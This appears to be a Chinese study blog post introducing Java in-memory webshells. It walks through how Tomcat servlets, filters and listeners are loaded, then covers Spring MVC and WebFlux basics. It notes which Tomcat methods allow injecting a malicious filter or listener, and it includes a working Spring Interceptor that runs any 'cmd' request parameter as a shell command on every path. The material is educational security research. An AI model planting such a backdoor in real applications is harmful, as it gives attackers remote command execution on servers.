Java内存马(一)
前言
根据解师傅文章进行学习:https://xz.aliyun.com/u/56767
在正式介绍内存马相关知识前,有必要回顾一下Java的相关知识,正所谓一切的基础为代码,不了解底层原理如何进行攻防相关的研究
因此(一)即介绍跟内存马息息相关的知识,包括但不限于tomcat,spingboot,spingmvc等,具体请看目录
什么是Servlet
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。
从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。
Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
Tomcat中Servlet容器的设计原理
Tomcat
设计了四种容器,分别是Engine
、Host
、Context
和Wrapper
,其关系如下:
Tomcat通过这样的分层的架构设计,使得Servlet容器具有良好的灵活性。一个Service最多只能有一个Engine,Engine表示引擎,用来管理多个虚拟主机的。Host代表就是一个虚拟主机,可以给Tomcat配置多个虚拟主机,一个虚拟主机下面可以部署多个Web应用。一个Context就表示一个Web应用,Web应用中会有多个Servlet,Wrapper就表示一个Servlet。
从Tomcat
的配置文件server.xml
中看出来,在Tomcat的server.xml配置文件中,Tomcat采用组件化的设计,它的构成组件都是可以配置的。最外层的是Server。其他组件按照一定的格式要求配置在这个顶层容器中。
<?xml version="1.0" encoding="UTF-8"?>
<!-- 顶层组件,可以包含多个Service -->
<Server port="8005" shutdown="SHUTDOWN">
<!-- 顶层组件,可以包含一个Engine,多个连接器 -->
<Service name="Catalina">
<!-- HTTP协议的连接器 -->
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- AJP协议的连接器 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
<!-- 一个Engine组件处理Service中的所有请求 -->
<Engine name="Catalina" defaultHost="localhost">
<!-- 处理特定的Host下的请求,可以包含多个Context -->
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
<context></context> <!-- 为特定的Web应用处理所有的请求 -->
</Host>
</Engine>
</Service>
</Server>
那么关于访问时的步骤以及走过的流程,又是什么样子的呢?当我们想要访问某个路径时,想要定位到具体的servlet
时,tomcat
设计了Mapper
,其中保存了容器组件与访问路径的映射关系。例如我们想要访问https://xxx.com/8080/user/list
具体流程为:
根据协议和端口号选
service
和engine
我们知道
Tomcat
的每个连接器都监听不同的端口,比如Tomcat
默认的HTTP
连接器监听8080
端口、默认的AJP
连接器监听8009
端口。上面例子中的URL访问的是8080
端口,因此这个请求会被HTTP
连接器接收,而一个连接器是属于一个Service
组件的,这样Service
组件就确定了。我们还知道一个Service
组件里除了有多个连接器,还有一个容器组件,具体来说就是一个Engine
容器,因此Service
确定了也就意味着Engine
也确定了。根据域名选定
host
Service
和Engine
确定后,Mapper
组件通过url
中的域名去查找相应的Host
容器,比如例子中的url
访问的域名是manage.xxx.com
,因此Mapper
会找到Host1
这个容器。根据
url
路径找到Context
组件Host
确定以后,Mapper
根据url
的路径来匹配相应的Web
应用的路径,比如例子中访问的是/user
,因此找到了Context1
这个Context
容器。根据
url
路径找到Wrapper
(Servlet
)Context
确定后,Mapper
再根据web.xml
中配置的Servlet
映射路径来找到具体的Wrapper
和Servlet
,例如这里的Wrapper1
的/list
。
画个图可能解释的更直白一些
这里的Context
包括servlet
运行的基本环境;这里的Wrapper
负责管理一个servlet
,包括其装载、初始化、执行和资源回收。
看一个tomcat的基本结构
Webapps 对应的就是 Host 组件,ROOT 和 example 对应的就是 Context 组件(Web应用),每个Context内包含Wrapper,Wrapper 负责管理容器内的 Servlet:
Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):
编写一个简单的Servlet
也好久没写了,就当复习一下,创建项目写一下pom.xml
和TestServlet.java
如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletMemoryShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
</dependencies>
</project>
import java.io.IOException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().write("hello world");
}
}
Maven同步一下依赖
接下来配置tomcat环境
我这里因为原来就有tomcat就没配置,本地无tomcat的直接去下一个然后点configure
配置一下即可,然后点fix
配置artifacts
下一步添加web模块File->Project Structure->Modules->Web
运行后访问http://localhost:8080/testServlet/test
,即可看到成功效果输出hello world
PS:一直用spring太久没用tomcat导致路径错了有个依赖找不到,重新设置了一下tomcat路径就ok了
研究Servlet初始化与装载流程
重新创建项目,同样导入依赖即可,不过·这里我们没有用本地的tomcat而是为了方便使用嵌入式tomcat
也就是所谓的tomcat-embed-core
。关于动态调试,也是图省事,直接用tomcat-embed-core
,比较方便,直接Main.java
运行调试即可
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletMemoryShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
Main.java
import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;
public class Main {
public static void main(String[] args) throws LifecycleException {
Tomcat tomcat = new Tomcat();
tomcat.getConnector(); //tomcat 9.0以上需要加这行代码,参考:https://blog.csdn.net/qq_42944840/article/details/116349603
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
Tomcat.addServlet(context, "helloServlet", new HelloServlet());
context.addServletMappingDecoded("/hello", "helloServlet");
tomcat.start();
tomcat.getServer().await();
}
}
HelloServlet.java
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("Hello, World!");
out.println("</body></html>");
}
}
Servlet初始化流程分析
直接定位到org.apache.catalina.core.StandardWrapper#setServletClass
处下断点进行调试
我这里本地调试的时候出问题了Ctrl+鼠标左键
和Ctrl+Alt+F7
都跳不到上一层,不知道哪里出了问题,就直接定位到上一步了,上层调用位置在org.apache.catalina.startup.ContextConfig#configureContext
对比我本地configContext
和解师傅的文章,发现了问题所在,应该是环境差异导致的,所使用方法不同但功能一致,这里就把我的这一部分代码和网上师傅的代码都拿过来分析一下
解师傅的代码:
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
我本地的代码,区别是while循环和for循环的区别以及单独的变量使得代码更好看一点不过没啥卵用
var35 = webxml.getServlets().values().iterator();
Iterator var7;
while(var35.hasNext()) {
ServletDef servlet = (ServletDef)var35.next();
Wrapper wrapper = this.context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled());
}
wrapper.setName(servlet.getServletName());
Map<String, String> params = servlet.getParameterMap();
var7 = params.entrySet().iterator();
while(var7.hasNext()) {
Entry<String, String> entry = (Entry)var7.next();
wrapper.addInitParameter((String)entry.getKey(), (String)entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
Iterator var37 = roleRefs.iterator();
while(var37.hasNext()) {
SecurityRoleRef roleRef = (SecurityRoleRef)var37.next();
wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1L;
long maxRequestSize = -1L;
int fileSizeThreshold = 0;
if (null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if (null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if (null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(servlet.getAsyncSupported());
}
wrapper.setOverridable(servlet.isOverridable());
this.context.addChild(wrapper);
}
var35 = webxml.getServletMappings().entrySet().iterator();
while(var35.hasNext()) {
Entry<String, String> entry = (Entry)var35.next();
this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue());
}
师傅的这里是读取webxml.getServlets()
获取所有的Servlet定义套到for循环里面,而我本地也是读取但是变量带入while循环里面
然后创建一个Wrapper对象,即Wrapper wrapper = this.context.createWrapper();
这里的代码是一致的,并设置Servlet
的加载顺序、是否启用(即获取</load-on-startup>
标签的值)、Servlet
的名称等基本属性
接着遍历Servlet
的初始化参数并设置到Wrapper
中,并处理安全角色引用、将角色和对应链接添加到Wrapper
中
如果Servlet
定义中包含文件上传配置,则根据配置信息设置MultipartConfigElement
;设置Servlet
是否支持异步操作;通过context.addChild(wrapper);
将配置好的Wrapper
添加到Context
中,完成Servlet
的初始化过程。
最后的while循环负责处理Servlet
的url
映射,将Servlet
的url
与Servlet
名称关联起来。
总结,Servlet的初始化流程主要经历以下步骤
- 创建
Wapper
对象; - 设置
Servlet
的LoadOnStartUp
的值; - 设置
Servlet
的名称; - 设置
Servlet
的class
; - 将配置好的
Wrapper
添加到Context
中; - 将
url
和servlet
类做映射
Servlet装载流程分析
同样是上面的环境,我们在org.apache.catalina.core.StandardWrapper#loadServlet
这里打下断点进行调试
往下翻翻,定位到org.apache.catalina.core.StandardContext#startInternal
可以看到,装载顺序为Listener
–>Filter
–>Servlet
:
可以看到loadOnStartup
方法,跟进入此方法,我本地代码
public boolean loadOnStartup(Container[] children) {
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap();
Container[] var3 = children;
int var4 = children.length;
for(int var5 = 0; var5 < var4; ++var5) {
Container child = var3[var5];
Wrapper wrapper = (Wrapper)child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup >= 0) {
Integer key = loadOnStartup;
((ArrayList)map.computeIfAbsent(key, (k) -> {
return new ArrayList();
})).add(wrapper);
}
}
Iterator var11 = map.values().iterator();
while(var11.hasNext()) {
ArrayList<Wrapper> list = (ArrayList)var11.next();
Iterator var13 = list.iterator();
while(var13.hasNext()) {
Wrapper wrapper = (Wrapper)var13.next();
try {
wrapper.load();
} catch (ServletException var10) {
this.getLogger().error(sm.getString("standardContext.loadOnStartup.loadException", new Object[]{this.getName(), wrapper.getName()}), StandardWrapper.getRootCause(var10));
if (this.getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
解师傅环境代码
public boolean loadOnStartup(Container children[]) {
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
if (getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
这一段也跟解师傅的环境不同,但是功能一致
首先创建一个TreeMap
,然后遍历传入的Container
数组,将每个Servlet
的loadOnStartup
值作为键,将对应的Wrapper
对象存储在相应的列表中;如果这个loadOnStartup
值是负数,除非你请求访问它,否则就不会加载;如果是非负数,那么就按照这个loadOnStartup
的升序的顺序来加载
Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain
简单来说,Filter
容器是用于对请求和响应进行过滤和处理的
从上图可以看出,这个filter
就是一个关卡,客户端的请求在经过filter
之后才会到Servlet
,那么如果我们动态创建一个filter
并且将其放在最前面,我们的filter
就会最先执行,当我们在filter
中添加恶意代码,就可以实现命令执行,形成内存马。
首先,需要定义过滤器FilterDef
,存放这些FilterDef
的数组被称为FilterDefs
,每个FilterDef
定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class
等,这一点可以从org/apache/tomcat/util/descriptor/web/FilterDef.java
的代码中看出来;然后是FilterDefs
,它只是过滤器的抽象定义,而FilterConfigs
则是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;紧接着是FilterMaps
,它是用于将FilterConfigs
映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs
,从而确定要执行的过滤器链;而FilterChain
是由多个FilterConfigs
组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain
中的顺序依次执行每个过滤器,对请求进行过滤和处理。
编写一个简单的Filter
继续使用我们编写Servlet时用的环境,添加TestFilter.java
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/test")
public class testFilter implements Filter {
public void init(FilterConfig filterConfig) {
System.out.println("[*] Filter初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[*] Filter执行过滤操作");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
System.out.println("[*] Filter已销毁");
}
}
跑起来后,控制台输出Filter初始化创建
,当访问/test路径时,控制台输出Filter执行过滤操作
,当关闭tomcat时,会触发destroy
方法,控制台输出Filter已销毁
分析Filter运行的整体流程
在Demo中的doFilter
函数打个断点进行调试
往下跟进查找,跟进到org.apache.catalina.core.StandardWrapperValve#invoke
,跟进变量filterChain
,找到定义处的代码
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());
Ctrl+鼠标左键
进入查看createFilterChain
方法(org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
):
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;
int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
var10 = filterMaps;
var11 = filterMaps.length;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
此段代码先是判断servlet
是否为空,如果是就表示没有有效的servlet
,无法创建过滤器链;然后根据传入的ServletRequest
的类型来分类处理,如果是Request
类型,并且启用了安全性,那么就创建一个新的ApplicationFilterChain
,如果没启用,那么就尝试从请求中获取现有的过滤器链,如果不存在那么就创建一个新的;接着是设置过滤器链的Servlet
和异步支持属性,这个没啥说的;关键点在于后面从Wrapper
中获取父级上下文(StandardContext
),然后获取该上下文中定义的过滤器映射数组(FilterMap
);最后遍历过滤器映射数组,根据请求的DispatcherType
和请求路径匹配过滤器,并将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链
继续跟进前面的filterChain.doFilter
方法,位于org.apache.catalina.core.ApplicationFilterChain#doFilter
:
看到调用了internalDoFilter
方法,跟进看一下方法代码
在这个方法中会依次拿到filterConfig
和filter
,那么我们的目的是打入内存马,也就是要动态地创建一个Filter
,回顾之前的调试过程,我们发现在createFilterChain
那个函数里面有两个关键点
现在我们再回顾之前我们跟进变量filterChain
时打的断点位置,有两个关键关键方法org.apache.catalina.core.StandardContext#findFilterMaps
和``org.apache.catalina.core.StandardContext#findFilterConfig`
追踪进两个方法的实现方法
public FilterMap[] findFilterMaps() {
return this.filterMaps.asArray();
}
public FilterConfig findFilterConfig(String name) {
synchronized(this.filterDefs) {
return (FilterConfig)this.filterConfigs.get(name);
}
}
我们只需要查找到现有的上下文,然后往里面插入我们自定义的恶意过滤器映射和过滤器配置,就可以实现动态添加过滤器了
现在的问题就是如何添加filterMap和filterConfig,尝试搜索addFilterMap
,发现两个相关方法,阅读代码addFilterMap
是在一组映射末尾添加新的我们自定义的新映射;而addFilterMapBefore
则会自动把我们创建的filterMap
丢到第一位去,无需再手动排序
观察发现先执行了validateFilterMap
这个方法,点进去看一眼,发现下面那个就是……
这里一个if判断我们需要保证它在根据filterName
找filterDef
的时候,得能找到,也就是说,我们还得自定义filterDef
并把它加入到filterDefs
,尝试搜索一下是否有相关方法addFilterDef
,可以看到存在此方法
那么接下来找一下是否存在filterConfig
添加的方法,尝试搜索addFilterConfig
,发现不存在,所以我们只能通过反射的方法去获取相关属性并添加进去。
Listener简单介绍
由图可知,Listener
是最先被加载的,动态注册一个恶意的Listener
,就又可以形成一种内存马了。
在tomcat
中,常见的Listener
有以下几种:
ServletContextListener
,用来监听整个Web
应用程序的启动和关闭事件,需要实现contextInitialized
和contextDestroyed
这两个方法;ServletRequestListener
,用来监听HTTP
请求的创建和销毁事件,需要实现requestInitialized
和requestDestroyed
这两个方法;HttpSessionListener
,用来监听HTTP
会话的创建和销毁事件,需要实现sessionCreated
和sessionDestroyed
这两个方法;HttpSessionAttributeListener
,监听HTTP
会话属性的添加、删除和替换事件,需要实现attributeAdded
、attributeRemoved
和attributeReplaced
这三个方法。
很明显,ServletRequestListener
是最适合做内存马的,因为它只要访问服务就能触发操作。
编写一个简单的Listener(ServletRequestListener)
使用前面使用的环境,替换掉之前的testFilter.java
,重写一个test Listener.java
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
@WebListener("/test")
public class testListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("[+] destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("[+] initial TestListener");
}
}
分析Listener运行的整体流程
在下图两个位置打断点进行调试
依次往下跟进发现org.apache.catalina.core.StandardContext#listenerStart
方法的调用,点进该方法阅读代码可以发现,实现了两个主要功能,一是通过findApplicationListeners
找到这些Listerner
的名字;二是实例化这些listener
:
接下来的代码就是分类摆放,我们需要的ServletRequestListener
被放在了eventListeners
里面,谁写的这破代码
分类摆放完注意到下面这行代码
eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));
Arrays.asList(...)
将数组转换为列表;eventListeners.addAll(...)
将括号里面的内容添加到之前实例化的监听器列表 eventListeners
中,括号中的方法追踪进去看一下
public Object[] getApplicationEventListeners() {
return this.applicationEventListenersList.toArray();
}
该方法就是把applicationEventListenersList
转换成一个包含任意类型对象的数组,也就是一个可能包含各种类型的应用程序事件监听器的数组。
那么就比较明显了Listener
有两个来源,一是根据web.xml
文件或者@WebListener
注解实例化得到的Listener
,我们无法进行控制;二是applicationEventListenersList
中的Listener
,需要寻找一下是否有相应类似于addFilterConfig
的函数,CTRL+鼠标左键
往上找,最终在找到了这个方法在org.apache.catalina.core.StandardContext#addApplicationEventListener
中
简单的spring项目搭建
解决Spring Initializr只能创建为Java 17版本以上的问题
在默认IDEA中,spring Initializr Server url
为start.spring.io
,此时我们发现Java支支持17以上,SpringBoot也仅支持3.27以上
查阅相关资料发现是因为 Spring Boot 官方不再支持 Spring Boot 的 2.x 版本了,之后全力维护 3.x;而 Spring Boot 3.x 对 JDK 版本的最低要求是 17。
解决办法便是替换为国内支持的server url例如阿里云的:https://start.aliyun.com
这时候就可以正常使用Java8以及spingboot的2.x版本了
搭建spring项目
将所需要的选择进去,直接finish
等待依赖解析完成,这里给我们准备了一个示例,我们可以直接跑起来:
另外的问题
这里环境搭建还遇到过一个问题,在昨天的时候也是类似的步骤但是依赖一直报错,报错位置在pom.xml中,当时并未截图记录,但是今天重新创建的时候就ok了
查阅了相关资料,可能的解决方法有
- 重启IDEA,可能是软件缓存导致的问题
- 如果还不能解决,那么就在报错的那一行手动添加进去版本号
编写一个简单的Spring Controller
package com.example.springdemo.demos.web;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class TestController {
@ResponseBody
@RequestMapping("/")
public String test(){
return "hello world";
}
}
运行访问即可
编写一个简单的Spring Interceptor
TestInterceptor.java
:
package com.example.springdemo.demos.web;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
java.io.PrintWriter writer = response.getWriter();
String output = "";
ProcessBuilder processBuilder;
if(System.getProperty("os.name").toLowerCase().contains("win")){
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
}else{
processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);
}
java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
output = inputScanner.hasNext() ? inputScanner.next(): output;
inputScanner.close();
writer.write(output);
writer.flush();
writer.close();
} catch (Exception ignored){}
return false;
}
return true;
}
}
WebConfig.java
:
package com.example.springdemo.demos.web;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
}
}
前面的Spring Controller可以继续用,运行后访问http://127.0.0.1:8080/?cmd=whoami
:
编写一个简单的Spring WebFlux的Demo(基于Netty)
新建一个项目,跟上面同样的配置
第二部spring boot选择Spring Reactive Web
,可以看到采用的是Netty
+SpringWebFlux
接着新建两个文件,为了方便我创建了一个新的包hello,方便阅读
GreetingHandler.java
:
package com.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Component;
import org.springframework.web.reactive.function.BodyInserters;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
@Component
public class GreetingHandler {
public Mono<ServerResponse> hello(ServerRequest request) {
return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN).body(BodyInserters.fromValue("Hello, Spring!"));
}
}
GreetingRouter.java
:
package com.example.webfluxmemoryshelldemo.hello;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.MediaType;
import org.springframework.web.reactive.function.server.*;
@Configuration
public class GreetingRouter {
@Bean
public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) {
return RouterFunctions.route(RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello);
}
}
新建main/resources
文件夹,然后新建application.properties
,通过server.port
来控制netty
服务的端口:
server.port=9191
接着我们运行项目,访问http://localhost:9191/hello
,看到效果
关于这个框架如何使用大家可以去网上找一下相关资料,这里就不再赘述
Spring MVC介绍
想要深入理解Spring MVC
框架型内存马,那么对Spring MVC
的基础了解是必不可少的,根据解师傅的图重制了一张,用图来了解Spring MVC
的核心组件和大致处理流程还是很清晰的
![](https://img1.plumstar.cn/upload5sping mvc流程图.jpg)
关于上图中名词:
DispatcherServlet
是前端控制器,它负责接收Request
并将Request
转发给对应的处理组件;HandlerMapping
负责完成url
到Controller
映射,可以通过它来找到对应的处理Request
的Controller
;Controller
处理Request
,并返回ModelAndVIew
对象,ModelAndView
是封装结果视图的组件;- ④~⑦表示视图解析器解析
ModelAndView
对象并返回对应的视图给客户端。
关于IOC容器,通俗点来说就是把管理权从代码反转到容器:
IOC
(控制反转)容器是Spring
框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC
容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring
框架提供了多种实现IOC
容器的方式,下面讲两种常见的:
BeanFactory
:Spring
的最基本的IOC
容器,提供了基本的IOC
功能,只有在第一次请求时才创建对象。ApplicationContext
:这是BeanFactory
的扩展,提供了更多的企业级功能。ApplicationContext
在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。
Spring MVC九大组件
这九大组件需要有个印象:
DispatcherServlet
(派发Servlet
